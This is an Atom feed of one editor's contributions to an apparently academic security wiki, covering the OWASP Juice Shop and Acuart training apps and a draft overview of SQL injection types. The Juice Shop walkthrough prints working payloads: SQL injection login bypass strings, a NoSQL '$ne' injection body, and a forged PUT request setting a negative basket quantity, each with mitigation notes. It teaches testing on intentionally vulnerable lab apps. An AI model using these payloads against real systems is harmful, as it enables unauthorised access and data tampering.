<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=LJahn</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=LJahn"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/LJahn"/>
	<updated>2026-09-10T18:06:48Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=17308</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=17308"/>
		<updated>2024-12-17T21:01:01Z</updated>

		<summary type="html">&lt;p&gt;LJahn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
*To install all necessary dependencies you first need to run the command &#039;&#039;&amp;quot;npm install&amp;quot;&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command &#039;&#039;&amp;quot;npm start&amp;quot;&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then you can see which port is open, and open any browser and enter &#039;&#039;“localhost: [port]“&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
===NoSQL Manipulation challenge===&lt;br /&gt;
&lt;br /&gt;
As another example, we can look at the NoSQL Manipulation (also known as NoSQL Injection) challenge, where all of the product reviews, in the OWASP Juice Shop, have to be updated at the same time.&lt;br /&gt;
&lt;br /&gt;
The first step is to create an account. Then we can log in with the created data.&lt;br /&gt;
&lt;br /&gt;
After we are authenticated to the site, we can leave a review under a product, to analyse the sites behaviour. In this example, we leave the review &amp;quot;Best Juice in Town&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP JuiceShop NoSQL Mani Put.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
If we look at the inspector, we can see that the review was successfully created.&lt;br /&gt;
Now we can edit the previously created review by hovering over the review, clicking &amp;quot;edit&amp;quot; and writing &amp;quot;Worst Juice in Town&amp;quot;.&lt;br /&gt;
After we submit the patch-request, we can analyse it.&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP JuiceShop NoSQL Mani Patch.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
Here we can see the payload, which contains an &amp;quot;id&amp;quot; as well as a &amp;quot;message&amp;quot;. We will now try to update all reviews at the same time, by changing the request payload. To achieve this, we can use the MongoDB operand &#039;&#039;$ne&#039;&#039;, which stands for &amp;quot;not equal to&amp;quot;. This operand is then nested into the payload and the value is set to an id which (likely) none of the reviews in the Juice Shop has. It now looks like this: &#039;&#039;{”id”:{”$ne”:-1},”message”:”Hurray for the NoSQL Injection”}&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
We can now copy this request into postman [https://www.postman.com/]. As a header, we need to set the &amp;quot;Authorization Bearer&amp;quot; and the endpoint of the request is &amp;lt;nowiki&amp;gt;&amp;quot;http://localhost:3000/rest/products/reviews&amp;quot;&amp;lt;/nowiki&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP JuiceShop NoSQL Mani Postman.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
After we send the request, we have sucessfully solved the challenge and updated the reviews.&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP JuiceShop NoSQL Mani ChallengeSolved.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
Such an exploit can be prevented, by sanitizing the user-input/ the endpoints. In this case, this can be achieved by using the module &amp;quot;express-mongo-sanitize&amp;quot; [https://www.npmjs.com/package/express-mongo-sanitize].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Manipulating Basket Item Quantities ===&lt;br /&gt;
&lt;br /&gt;
In this challenge we exploit the system to set a basket item&#039;s quantity to a negative value, something that cannot be achieved via the standard user interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1: Log In and Adding an Item to the Basket&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
The first step is to log into the OWASP Juice Shop as any user. After logging in, add at least one item to your shopping basket.&lt;br /&gt;
&lt;br /&gt;
[[File:Owaspjuiceshopaddtocart.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2: Observing Basket Behavior via the UI&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Once an item is added, you&#039;ll notice that reducing the quantity of an item to less than &#039;&#039;1&#039;&#039; is not possible using the user interface. To understand how the quantity changes are handled, open your browser&#039;s &#039;&#039;Developer Tools&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
# Navigate to the &#039;&#039;Network&#039;&#039; tab.  &lt;br /&gt;
# Use the UI to increase or decrease the quantity of a basket item.  &lt;br /&gt;
# Observe the network requests being made. Specifically, you&#039;ll notice &#039;&#039;PUT&#039;&#039; requests to the following endpoint:  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://localhost:3000/api/BasketItems/{id}&lt;br /&gt;
&amp;lt;/pre&amp;gt;  &lt;br /&gt;
Here, &#039;&#039;{id}&#039;&#039; corresponds to the unique identifier of the basket item being updated.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3: Memorize the &#039;&#039;id&#039;&#039; of a Basket Item&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
From the Network tab, locate and note the &#039;&#039;id&#039;&#039; of any item in your basket. In this example, the &#039;&#039;id&#039;&#039; is 10.&lt;br /&gt;
&lt;br /&gt;
[[File:OwaspjuiceshopPUTrequest.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4: Capture the Authorization Token&#039;&#039;&#039;  &lt;br /&gt;
&lt;br /&gt;
To replicate and manipulate the &#039;&#039;PUT&#039;&#039; request, you&#039;ll need the &#039;&#039;Authorization Token&#039;&#039;. Follow these steps:&lt;br /&gt;
&lt;br /&gt;
# In the &#039;&#039;Network&#039;&#039; tab, locate any HTTP request made by the browser after you were logged in.  &lt;br /&gt;
# Copy the &#039;&#039;Authorization&#039;&#039; header, which looks like:  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Authorization: Bearer &amp;lt;YOUR_TOKEN&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;  &lt;br /&gt;
Replace &#039;&#039;&amp;lt;YOUR_TOKEN&amp;gt;&#039;&#039; with the actual token value.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 5: Craft the Manipulated PUT Request&#039;&#039;&#039;  &lt;br /&gt;
&lt;br /&gt;
Now, we&#039;ll send a manually crafted &#039;&#039;PUT&#039;&#039; request to set the basket item&#039;s quantity to a negative value (e.g. with a tool like Postman).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Request Details:&#039;&#039;&#039;&lt;br /&gt;
* &#039;&#039;Method&#039;&#039;: PUT  &lt;br /&gt;
* &#039;&#039;URL&#039;&#039;: http://localhost:3000/api/BasketItems/{id}&lt;br /&gt;
Replace &#039;&#039;{id}&#039;&#039; with the basket item&#039;s &#039;&#039;id&#039;&#039; (here, &#039;&#039;10&#039;&#039;).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Headers&#039;&#039;&#039;:  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Content-Type: application/json&lt;br /&gt;
Authorization: Bearer &amp;lt;YOUR_TOKEN&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Body&#039;&#039;&#039; (JSON):  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;quantity&amp;quot;: -100&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:OwaspjuiceheaderspostmanPUT.png|600px|center]]&lt;br /&gt;
[[File: OwaspjuicebodypostmanPUT.png |600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 6: Sending the Request and Verifying the Exploit&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Once the manipulated request is submitted, the server will process it without validating the negative quantity.&lt;br /&gt;
&lt;br /&gt;
* Return to the &#039;&#039;Your Basket&#039;&#039; page at:  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://localhost:3000/#/basket&lt;br /&gt;
&amp;lt;/pre&amp;gt;  &lt;br /&gt;
* You will see the item now has a negative quantity.  &lt;br /&gt;
* Click on &#039;&#039;Checkout&#039;&#039; to issue the order with the negative quantity and successfully solve the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:Owaspjuicenegativequantitycart.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
[[File:Owaspjuiceordersummarynegativevalue.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Such vulnerabilities arise due to improper input validation on the server side. To mitigate this issue, developers should:&lt;br /&gt;
&lt;br /&gt;
* Implement server-side validation to ensure that input values like quantity are within allowed ranges (e.g., greater than zero).  &lt;br /&gt;
* Use libraries or frameworks that provide input sanitization and validation capabilities.  &lt;br /&gt;
* Perform security testing to identify these types of flaws during development.&lt;br /&gt;
&lt;br /&gt;
There is a documentation provided by the contributers to the OWASP Juice Shop that also give more information on how to mitigate and prevent such exploits. [[https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuiceheaderspostmanPUT.png&amp;diff=17304</id>
		<title>File:OwaspjuiceheaderspostmanPUT.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuiceheaderspostmanPUT.png&amp;diff=17304"/>
		<updated>2024-12-17T20:52:45Z</updated>

		<summary type="html">&lt;p&gt;LJahn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuicebodypostmanPUT.png&amp;diff=17303</id>
		<title>File:OwaspjuicebodypostmanPUT.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuicebodypostmanPUT.png&amp;diff=17303"/>
		<updated>2024-12-17T20:52:35Z</updated>

		<summary type="html">&lt;p&gt;LJahn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Owaspjuicenegativequantitycart.png&amp;diff=17302</id>
		<title>File:Owaspjuicenegativequantitycart.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Owaspjuicenegativequantitycart.png&amp;diff=17302"/>
		<updated>2024-12-17T20:52:23Z</updated>

		<summary type="html">&lt;p&gt;LJahn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Owaspjuiceordersummarynegativevalue.png&amp;diff=17301</id>
		<title>File:Owaspjuiceordersummarynegativevalue.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Owaspjuiceordersummarynegativevalue.png&amp;diff=17301"/>
		<updated>2024-12-17T20:52:13Z</updated>

		<summary type="html">&lt;p&gt;LJahn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuiceshopPUTrequest.png&amp;diff=17298</id>
		<title>File:OwaspjuiceshopPUTrequest.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuiceshopPUTrequest.png&amp;diff=17298"/>
		<updated>2024-12-17T20:46:58Z</updated>

		<summary type="html">&lt;p&gt;LJahn: LJahn uploaded a new version of File:OwaspjuiceshopPUTrequest.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuiceshopPUTrequest.png&amp;diff=17294</id>
		<title>File:OwaspjuiceshopPUTrequest.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuiceshopPUTrequest.png&amp;diff=17294"/>
		<updated>2024-12-17T20:44:28Z</updated>

		<summary type="html">&lt;p&gt;LJahn: LJahn uploaded a new version of File:OwaspjuiceshopPUTrequest.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuiceshopPUTrequest.png&amp;diff=17292</id>
		<title>File:OwaspjuiceshopPUTrequest.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:OwaspjuiceshopPUTrequest.png&amp;diff=17292"/>
		<updated>2024-12-17T20:42:19Z</updated>

		<summary type="html">&lt;p&gt;LJahn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Owaspjuiceshopaddtocart.png&amp;diff=17287</id>
		<title>File:Owaspjuiceshopaddtocart.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Owaspjuiceshopaddtocart.png&amp;diff=17287"/>
		<updated>2024-12-17T20:37:21Z</updated>

		<summary type="html">&lt;p&gt;LJahn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Acuart&amp;diff=17279</id>
		<title>Acuart</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Acuart&amp;diff=17279"/>
		<updated>2024-12-17T20:25:43Z</updated>

		<summary type="html">&lt;p&gt;LJahn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Acunetix Acuart website is part of a suite of intentionally insecure web applications provided by Acunetix, a company specializing in automated security testing tools. Other notable applications in this suite include Acuforum[[http://testasp.vulnweb.com]], Acublog[[http://testaspnet.vulnweb.com]], and SecurityTweets.[[http://testhtml5.vulnweb.com]]&lt;br /&gt;
&lt;br /&gt;
Acuart specifically simulates an e-commerce art gallery where users can browse categories, artists, and artworks, as well as post comments. &lt;br /&gt;
&lt;br /&gt;
The Acuart website is only accessible online through the official website provided by Acunetix.  It does not offer downloadable application code for local execution, limiting the environment to its hosted version. [[http://testphp.vulnweb.com]]&lt;br /&gt;
&lt;br /&gt;
The platform serves as a testing and demonstration tool for the Acunetix Vulnerability Scanner [[https://www.acunetix.com/plp/acunetix-scanner]], an automated solution for identifying security flaws in web applications. &lt;br /&gt;
&lt;br /&gt;
Unlike websites like [[OWASP Juice Shop]], Acuart is not primarily intended as a learning environment for hacking techniques and lacks comprehensive documentation of its architecture and vulnerabilities. There is only a general note on the Acuart website that refers to possible security vulnerabilities such as SQL injections, cross-site scripting (XSS) and cross-site request forgery (CSRF). [[http://testphp.vulnweb.com]]&lt;br /&gt;
There are also no real-time notifications that provide feedback on successfully executed attacks.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Frontend&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The user interface of Acuart is built using HTML, CSS, and JavaScript.&lt;br /&gt;
&lt;br /&gt;
The frontend provides a very simple, straightforward experience for browsing art categories, viewing artists, and interacting with artworks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Backend&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The backend of the application is implemented in PHP and is responsible for handling user inputs, interactions, and communication with the database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Acuart relies on a MySQL database to store its data, including user-generated content such as comments, categories, and artwork details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Possible Executable Attacks ==&lt;br /&gt;
&lt;br /&gt;
Like mentioned before, there is only a general note on the Acuart website that refers to possible security vulnerabilities such as SQL Injection (SQLi), Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF) [[http://testphp.vulnweb.com]].&lt;br /&gt;
&lt;br /&gt;
For information on and demonstration of possible SQL Injection attacks in Acunetix Acuart see [[SQL Injection Examples on Known Vulnerable Web Applications]].&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Acuart&amp;diff=17247</id>
		<title>Acuart</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Acuart&amp;diff=17247"/>
		<updated>2024-12-17T19:33:45Z</updated>

		<summary type="html">&lt;p&gt;LJahn: Created page with &amp;quot;The Acunetix Acuart website is part of a suite of intentionally insecure web applications provided by Acunetix, a company specializing in automated security testing tools. Other notable applications in this suite include Acuforumhttp://testasp.vulnweb.com, Acubloghttp://testaspnet.vulnweb.com, and SecurityTweets.http://testhtml5.vulnweb.com  Acuart specifically simulates an e-commerce art gallery where users can browse categories, artists, and artworks,...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Acunetix Acuart website is part of a suite of intentionally insecure web applications provided by Acunetix, a company specializing in automated security testing tools. Other notable applications in this suite include Acuforum[[http://testasp.vulnweb.com]], Acublog[[http://testaspnet.vulnweb.com]], and SecurityTweets.[[http://testhtml5.vulnweb.com]]&lt;br /&gt;
&lt;br /&gt;
Acuart specifically simulates an e-commerce art gallery where users can browse categories, artists, and artworks, as well as post comments. &lt;br /&gt;
&lt;br /&gt;
The Acuart website is only accessible online through the official website provided by Acunetix.  It does not offer downloadable application code for local execution, limiting the environment to its hosted version. [[http://testphp.vulnweb.com]]&lt;br /&gt;
&lt;br /&gt;
The platform serves as a testing and demonstration tool for the Acunetix Vulnerability Scanner [[https://www.acunetix.com/plp/acunetix-scanner]], an automated solution for identifying security flaws in web applications. &lt;br /&gt;
&lt;br /&gt;
Unlike websites like [[OWASP Juice Shop]], Acuart is not primarily intended as a learning environment for hacking techniques and lacks comprehensive documentation of its architecture and vulnerabilities. There is only a general note on the Acuart website that refers to possible security vulnerabilities such as SQL injections, cross-site scripting (XSS) and cross-site request forgery (CSRF). [[http://testphp.vulnweb.com]]&lt;br /&gt;
There are also no real-time notifications that provide feedback on successfully executed attacks.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Frontend&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The user interface of Acuart is built using HTML, CSS, and JavaScript.&lt;br /&gt;
&lt;br /&gt;
The frontend provides a very simple, straightforward experience for browsing art categories, viewing artists, and interacting with artworks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Backend&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The backend of the application is implemented in PHP and is responsible for handling user inputs, interactions, and communication with the database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Acuart relies on a MySQL database to store its data, including user-generated content such as comments, categories, and artwork details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Possible Executable Attacks ==&lt;br /&gt;
&lt;br /&gt;
Like mentioned before, there is only a general note on the Acuart website that refers to possible security vulnerabilities such as SQL Injection (SQLi), Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF) [[http://testphp.vulnweb.com]].&lt;br /&gt;
&lt;br /&gt;
For information on and demonstration of possible SQL Injection attacks in Acunetix Acuart see [[SQL Injection Examples on Known Vulnerable Web Applications]].&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=SQL_Injection_Examples_on_Known_Vulnerable_Web_Applications&amp;diff=17238</id>
		<title>SQL Injection Examples on Known Vulnerable Web Applications</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=SQL_Injection_Examples_on_Known_Vulnerable_Web_Applications&amp;diff=17238"/>
		<updated>2024-12-17T18:41:12Z</updated>

		<summary type="html">&lt;p&gt;LJahn: /* Methodology */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
This is a documentation of various [[SQL Injection]] attacks performed on well-known and also not so popular vulnerable web applications. DRAFT&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
&lt;br /&gt;
== Methodology ==&lt;br /&gt;
Each example contains a link to the vulnerable web application or to a tutorial how to set it up, unless it is a vulnerable website that is just accessed online. Web applications used:&lt;br /&gt;
* [[Acuart]]&lt;br /&gt;
* [[OWASP Mutillidae]]&lt;br /&gt;
* [[DVWA]]&lt;br /&gt;
* [[WebGoat]]&lt;br /&gt;
* [[BWAPP]]&lt;br /&gt;
* Badstore&lt;br /&gt;
&lt;br /&gt;
Each web application is listed below in separate chapters, providing some examples of the SQLi. This Wiki also offers a brief overview over the general types of SQL injection, another somewhat different overview can also be found here: [[SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
== Overview - Types of SQL injection &amp;lt;ref&amp;gt;Acunetix, &#039;&#039;Types of SQL Injection (SQLi)&#039;&#039;, 2022, accessed on: 05.01.2022. [Online]. Available: https://www.acunetix.com/websitesecurity/sql-injection2/&amp;lt;/ref&amp;gt; ==&lt;br /&gt;
=== In-band SQLi (Classic SQLi) ===&lt;br /&gt;
In-band SQL Injection is the most common and easy-to-exploit of SQL Injection attacks. In-band SQL Injection occurs when an attacker is able to use the same communication channel to both launch the attack and gather results [https://www.acunetix.com/websitesecurity/sql-injection2/ [1]]. There are two under categories of this SQLi type.&lt;br /&gt;
* &amp;lt;b&amp;gt;Error-based SQLi&amp;lt;/b&amp;gt;&lt;br /&gt;
Error-based SQLi is an in-band SQL Injection technique that relies on error messages thrown by the database server to obtain information about the structure of the database. While errors are very useful during the development phase of a web application, they should be disabled on a live site, or logged to a file with restricted access instead, so that no attacker can see error information displayed directly on the website.&lt;br /&gt;
* &amp;lt;b&amp;gt;Union-based SQLi&amp;lt;/b&amp;gt;&lt;br /&gt;
Union-based SQLi is an in-band SQL injection technique that uses the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response.&lt;br /&gt;
&lt;br /&gt;
=== Inferential SQLi (Blind SQLi) ===&lt;br /&gt;
Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to exploit, however, it is just as dangerous as any other form of SQL Injection. In an inferential SQLi attack, no data is actually transferred via the web application and the attacker would not be able to see the result of an attack in-band (which is why such attacks are commonly referred to as “blind SQL Injection attacks”). Instead, an attacker is able to reconstruct the database structure by sending payloads, observing the web application’s response and the resulting behavior of the database server.&lt;br /&gt;
* &amp;lt;b&amp;gt;Boolean-based (content-based) Blind SQLi&amp;lt;/b&amp;gt;&lt;br /&gt;
This technique functions via sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result. Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This way, the attacker can ask &amp;quot;true&amp;quot; and &amp;quot;false&amp;quot; questions and in this way GUESS a lot of essential information about the database, such as table/column/attribute names, users, passwords and much more.&lt;br /&gt;
* &amp;lt;b&amp;gt;Time-based Blind SQLi&amp;lt;/b&amp;gt;&lt;br /&gt;
Sends an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE. Depending on the result, an HTTP response will be returned with a delay, or returned immediately. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. The reason why the previous category is called content-based compared to this, is that here the true/false questions are based on returning the same result with a delay, whilst the content-based returns a different result.&lt;br /&gt;
&lt;br /&gt;
=== Out-of-band SQLi ===&lt;br /&gt;
Out-of-band SQL Injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL Injection occurs when an attacker is unable to use the same channel to launch the attack and gather results. Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls; as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker controls. &lt;br /&gt;
&lt;br /&gt;
== Acuart ==&lt;br /&gt;
This is a web application (http://testphp.vulnweb.com/) created by Acunetix as a test and demonstration site for Acunetix Web Vulnerability Scanner &amp;lt;ref&amp;gt;Acuart test and demonstration site, 2022, accessed on: 05.01.2022. [Online]. Available: http://testphp.vulnweb.com/&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;Acunetix web vulnerability scanner, 2022, accessed on: 05.01.2022. [Online]. Available: https://www.acunetix.com/&amp;lt;/ref&amp;gt;. Following are some examples categorized by the previously listed SQLi types on this vulnerable web application.&lt;br /&gt;
